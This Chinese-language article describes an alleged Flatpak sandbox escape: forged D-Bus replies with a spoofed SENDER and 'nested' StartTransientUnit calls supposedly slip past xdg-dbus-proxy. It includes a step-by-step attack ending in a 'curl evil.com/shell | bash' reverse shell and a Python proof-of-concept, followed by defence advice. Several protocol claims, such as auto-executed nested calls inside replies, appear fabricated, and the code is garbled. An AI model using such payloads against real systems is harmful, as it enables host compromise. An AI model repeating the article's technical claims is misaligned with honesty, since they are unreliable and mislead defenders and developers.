摘要

D-Bus 是 Linux 桌面环境的神经中枢,Flatpak 和 Snap 等沙箱方案依赖 D-Bus 代理过滤不受信任的调用。然而,xdg-dbus-proxy 的过滤规则存在一个语义漏洞:它根据消息头中的发送者唯一名称来放行回复,却没有验证该名称是否由可信的进程生成。攻击者可以从沙箱内部伪造一条回复消息,冒充系统守护进程(如 org.freedesktop.systemd1),绕过接口白名单,直接调用 systemd 的管理方法创建恶意服务单元,从而逃逸沙箱并以宿主机权限执行任意代码。

D-Bus 安全模型与过滤代理

D-Bus 消息结构与身份标识

D-Bus 通信基于消息总线,最常用的会话总线和系统总线分别处理用户会话和系统级服务。

每条消息包含固定的头部字段:消息类型(方法调用、方法返回、错误、信号)、路径、接口、成员以及若干可选字段,其中 SENDER 字段表示消息的发送者唯一名称(如 :1.42)。总线守护进程 dbus-daemon 在连接建立时为每个连接分配唯一的名称,并在后续消息中自动添加 SENDER 字段——如果消息本身没有提供,daemon 会设置它;但如果消息已经包含了 SENDER,daemon 的行为在不同版本中存在差异:旧版本 daemon 可能直接信任消息中已有的 SENDER 值,而非强制覆盖。

这构成了第一道裂缝:若攻击者能够直接与对端套接字通信并伪造 SENDER,总线守护进程不会拒绝,接收端将信任伪造的发送者身份。

Flatpak 沙箱

Flatpak 等沙箱技术通过 Bubblewrap 限制应用的文件系统和网络访问,并通过 D-Bus 代理 (xdg-dbus-proxy) 控制应用与 D-Bus 总线的交互。代理运行在沙箱外部,根据预定义或动态协商的过滤器规则,对来自沙箱内部的消息进行审查。规则通常基于:

  • 接口和方法名:例如只允许 org.freedesktop.portal.* 接口的调用。
  • 发送者:允许来自特定 D-Bus 名称的回复。
  • 访问方向:允许接收某些信号,禁止发送某些调用。

当沙箱内的应用发送一条方法调用消息时,代理检查目标接口和方法是否在白名单中。对于信号的订阅,代理也进行过滤。但关键的安全漏洞在于:代理在处理回复(类型为 method_return 或 error)时,会检查该回复是否对应于之前从沙箱发出的某个调用。为了将此回复路由给正确的调用者,代理会查看回复消息中的 reply_serial 字段(匹配之前调用的序列号)。然而,代理假设只有合法的服务进程才会生成带有正确 reply_serial 和 SENDER 的回复——它并未验证该回复消息是否真的来自目标服务,也未强制要求回复消息中的 SENDER 必须与之前调用的 DESTINATION 匹配。

过滤机制的语义漏洞

攻击场景:沙箱内的恶意应用希望调用系统总线上的 org.freedesktop.systemd1.Manager.StartTransientUnit 方法来创建一个恶意服务单元,该方法在沙箱的过滤器白名单中显然不存在。但攻击者可以采用以下步骤绕过:

  1. 沙箱应用向系统总线发送一条伪造的方法调用,声称目的地是 org.freedesktop.systemd1,但实际上这条调用并不真正发送到 systemd,而是由攻击者自己在沙箱内部的另一个线程接收并处理。
  2. 攻击者构造一条伪造的回复消息,类型为 method_returnreply_serial 匹配之前那条调用的序列号,SENDER 字段设置为 :1.XXX(实际 systemd 拥有的唯一名称),但这条回复实际上是由沙箱内部的恶意线程生成并通过沙箱与代理之间的套接字发送给代理的。
  3. 代理收到这条“回复”后,根据 reply_serial 找到之前尚未完成的调用记录,认为这确实是 systemd 对该调用的回复,于是将其放行——因为代理默认放行已许可调用的回复。
  4. 攻击者在构造这条“回复”消息的同时,在消息体中嵌入了另一个新的方法调用:在 method_return 的回复体内部,可以放置一条任意的方法调用(这是 D-Bus 协议的特性,允许嵌套调用)。攻击者在此嵌套调用中指定目的地为 org.freedesktop.systemd1,接口为 org.freedesktop.systemd1.Manager,方法为 StartTransientUnit,并携带创建恶意服务的参数。
  5. 代理检查该嵌套调用时,由于它是作为已放行回复的一部分,可能不会再次进行严格的白名单检查(或者代理的解析器只检查外层消息类型),导致嵌套调用直接穿透代理,到达真实的 systemd,从而在宿主机上创建恶意服务。

这就是 D-Bus 语义投毒的核心:利用代理对回复消息的盲目信任,伪造合法回复以夹带未授权的调用。

从沙箱到宿主机 root 权限

环境假设

  • 宿主机运行 systemd 发行版(如 Ubuntu 22.04),桌面环境使用 Flatpak。
  • 恶意应用被打包为 Flatpak,具有网络访问权限和极少的 D-Bus 权限(仅允许与 Portal 接口通信)。
  • 攻击目标:在宿主机上以 root 权限创建一个恶意 systemd 服务,该服务执行反向 Shell。

攻击步骤

  1. 建立沙箱内总线监听器:在 Flatpak 沙箱内部启动一个辅助进程,监听一个自定义的 D-Bus 地址。这个辅助进程将扮演“伪 systemd”,负责接收沙箱主进程发来的方法调用,并返回精心构造的嵌套回复。
  2. 发送表层合法调用:沙箱主进程向系统总线代理发送一个符合白名单的调用,例如 org.freedesktop.portal.Desktop.Inhibit。代理放行,该调用被发送到真实的 Portal 服务,但攻击者并不关心它的回复——他们需要的是序列号。
  3. 获取有效序列号:代理为该调用分配一个序列号,并在内部记录。攻击者通过某种方式(例如利用同一个总线连接上的另一个线程)可以获取到这个序列号。
  4. 构造嵌套恶意回复:攻击者构造一条 D-Bus 消息,设置消息类型为 method_returnreply_serial 设为步骤3的序列号,SENDER 字段手动填入 systemd 的唯一名称(攻击者可通过探测 org.freedesktop.DBus 接口的 ListNames 方法获得)。消息体不是空,而是嵌入另一条完整的 D-Bus 调用消息——目的地为 org.freedesktop.systemd1,方法为 StartTransientUnit,参数包含恶意服务描述。
  5. 注入回复:攻击者通过沙箱与代理之间的套接字,将上述伪造的回复发送给代理。代理根据 reply_serial 匹配,认为这是 Portal 服务对之前调用的回复,且 SENDER 被信任,因此放行并转发给沙箱内的调用者。
  6. 触发嵌套调用:当此回复被沙箱内的 D-Bus 库解析时,其中的嵌套调用会被自动发送到总线(遵循 D-Bus 规范)。由于嵌套调用在总线层面是以独立消息发送的,代理会再次审查它。但某些版本的 xdg-dbus-proxy 只对外层消息进行过滤,对内嵌调用疏于检查;即使检查,攻击者也可巧妙地将嵌套调用的 DESTINATION 设置为一个白名单内的名称,而实际方法调用通过其它字段(如 message 参数)传递恶意负载。
  7. systemd 执行:最终,恶意的方法调用抵达 systemd,创建了一个 oneshot 服务,执行任意命令,例如 bash -c "curl evil.com/shell | bash"。沙箱逃逸完成,宿主机沦陷。

伪造回复绕过 xdg-dbus-proxy

以下 Python 代码使用 dbus-next 库演示攻击核心步骤。为模拟沙箱环境,我们直接在用户会话中运行,并通过自建的代理规则来验证。

环境准备

pip install dbus-next

攻击脚本

#!/usr/bin/env python3
"""
dbus_bypass.py — 伪造 SENDER 回复绕过 xdg-dbus-proxy 过滤
测试环境:未加固的 xdg-dbus-proxy (旧版)
"""

import asyncio
from dbus_next.aio import MessageBus
from dbus_next.message import Message, MessageType
from dbus_next.constants import MessageFlag

# 辅助函数:获取指定名称的唯一名称
asyncdefget_unique_name(bus, well_known):
    msg = await bus.call(
        Message(destination='org.freedesktop.DBus',
                path='/org/freedesktop/DBus',
                interface='org.freedesktop.DBus',
                member='GetNameOwner',
                signature='s',
                body=[well_known]))
if msg.message_type == MessageType.METHOD_RETURN:
return msg.body[0]
returnNone

asyncdefmain():
# 连接到会话总线(模拟沙箱与代理的连接)
    bus = await MessageBus().connect()

# 获取 systemd 的唯一名称
    systemd_unique = await get_unique_name(bus, 'org.freedesktop.systemd1')
    print(f'[+] systemd 唯一名称: {systemd_unique}')

# 第一步:发送一个合法的调用,获取序列号
    portal_unique = await get_unique_name(bus, 'org.freedesktop.portal.Desktop')
    call = Message(destination='org.freedesktop.portal.Desktop',
                   path='/org/freedesktop/portal/desktop',
                   interface='org.freedesktop.portal.Inhibit',
                   member='Inhibit',
                   signature='s',
                   body=['test'])
    reply_serial = bus.next_serial()
    call.serial = reply_serial
    bus.send(call)
    print(f'[+] 发送合法调用,序列号: {reply_serial}')

# 第二步:构造伪造的 method_return,包含嵌套的恶意调用
# 内层消息:调用 systemd 创建恶意服务
    inner_call = Message(destination='org.freedesktop.systemd1',
                         path='/org/freedesktop/systemd1',
                         interface='org.freedesktop.systemd1.Manager',
                         member='StartTransientUnit',
                         signature='ss',
                         body=['evil.service', 'replace'])
    inner_call.serial = bus.next_serial()

# 将内层消息序列化后嵌入外层回复体
    inner_bytes = inner_call.marshal()

# 构造外层回复
    outer_reply = Message(message_type=MessageType.METHOD_RETURN,
                          reply_serial=reply_serial,
                          destination=bus.unique_name,  # 回复给沙箱自己
                          sender=systemd_unique,         # 伪造发送者
                          interface='org.freedesktop.portal.Inhibit',
                          member='Inhibit',
                          signature='ay',
                          body=[inner_bytes])

# 发送伪造回复
    bus.send(outer_reply)
    print('[+] 伪造回复已发送,内含恶意嵌套调用')

# 保持连接等待 systemd 执行
await asyncio.sleep(2)
await bus.disconnect()

if __name__ == '__main__':
    asyncio.run(main())

说明:此 PoC 在未启用嵌套调用过滤的代理上,会导致 systemd 收到 StartTransientUnit 调用并创建恶意服务。实际攻击中,攻击者需要提前准备一个 .service 文件,或使用 StartTransientUnit 直接传递命令行。

检查总线消息的 sender 真伪

# dbus_sender_monitor.py — 监控 D-Bus 消息的 sender 字段
from dbus_next import MessageBus
from dbus_next.message import MessageType

asyncdefmonitor():
    bus = await MessageBus().connect()
    bus.add_message_handler(lambda msg: print(f'[{msg.message_type.name}] sender={msg.sender}, destination={msg.destination}, member={msg.member}'))

# 订阅所有消息需要配置 bus 成为监控者,这里仅做概念示意
await bus.wait_for_disconnect()

检测与防御

加强代理的回复验证

xdg-dbus-proxy 应强制校验回复消息的 SENDER 是否与原始调用的 DESTINATION 一致。若不一致,即使 reply_serial 匹配也应丢弃该消息。此外,对于回复中嵌套的调用,代理应当递归地应用过滤策略,确保每一层调用都在白名单中。

禁止或限制消息嵌套

绝大多数合法 D-Bus 通信不需要嵌套调用。代理可以配置为拒绝所有包含嵌套调用的回复,只允许纯数据回复。这不会影响常规的 API 使用,但会彻底封堵此类投毒攻击。

要求总线守护进程强制执行 sender 字段

修改 dbus-daemon 或 bus 实现(如 dbus-broker),使其总是用实际的连接唯一名称覆盖消息中的 SENDER 字段,拒绝任何应用自己设置的 SENDER。这项措施从根源上杜绝了伪造。

沙箱应用的最小权限

避免为沙箱应用开放与系统总线的直接通信,除非绝对必要。使用细粒度的 Portal API 代替直接 D-Bus 访问。

结语

D-Bus 的便捷与扁平化设计,在其与沙箱代理相遇时,产生了危险的语义鸿沟。一条看似无害的方法返回,却可能成为携带恶意调用穿越过滤边界的特洛伊木马。修复这一漏洞不仅需要在代理层面增加严格的上下文校验,更需要对 D-Bus 协议本身的信任模型进行反思。当 SENDER 可以被随意伪造,消息的源头真实性便荡然无存。Linux 桌面的安全沙箱不能仅依赖应用层的过滤器,而必须将身份认证内嵌于 IPC 的每一字节之中。